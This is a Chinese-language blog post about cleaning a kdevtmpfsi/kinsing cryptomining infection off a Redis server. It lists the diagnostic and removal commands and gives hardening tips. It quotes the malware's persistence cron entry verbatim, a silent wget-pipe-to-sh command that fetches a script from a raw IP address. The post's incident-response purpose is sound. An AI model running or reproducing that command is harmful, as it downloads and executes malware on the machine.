最近公司服務器上redis老是過幾天就斷一次,以前一直好好的,而後就上服務器上去看。一看發現內存佔用變成92%,而後有兩個cpu佔用100%。使用top命令查看後,發現redis有兩個進程佔了很大資源,這兩個進程就是kdevtmpfsi。redis
而後就開始百度,百度結果是先中止kdevtmpfsi的守護進程kinsing,而後再中止kdevtmpfsi。最後去tmp目錄下把這兩個文件都刪除了。並使用crontab -l來查看有無定時任務,結果沒發現。而後覺得就能夠了,結果過了兩個小時,這個病毒又復活了。安全
最後又百度才發現,crontab -l這個命令並非列出全部用戶的定時任務,再次查看kdevtmpfsi的運行狀態,發現是redis用戶,因而使用crontab -l -u redis。終於發現了有問題的定時任務。而後刪除了它,再重複上面過程,到如今已通過了2天,病毒沒再出現。服務器
病毒定時任務: wget -q -O - http://195.3.146.118/unk.sh | sh > /dev/null 2>&1
用到的命令以下code
1. top //顯示或管理執行中的程序 2. ps -ef |grep kdevtmpfsi //查看kdevtmpfsi進程信息,記錄它pid和用戶 3. ps -ef |grep kinsing //查看kinsing 進程信息,記錄它pid和用戶 4. crontab -l -u redis //查看對應用戶的定時任務,若是2,3命令反饋結果對應用戶是redis,就像這條命令同樣 5. crontab -e -u redis //編輯定時任務,刪除病毒的定時任務 6. kill -9 [pid] //把[pid]替換城2,3命令記錄的pid,先執行kinsing的pid,再執行kdevtmpfsi的pid 7. rm -rf /tmp/kdevtmpfsi //刪除kdevtmpfsi 8. rm -rf /tmp/kinsing //刪除kdevtmpfsi
最後最重要的仍是要注意redis安全問題,否則之後仍是可能中病毒。必定要記得改redis默認端口,設置redis密碼,而後設置爲只能內網訪問。進程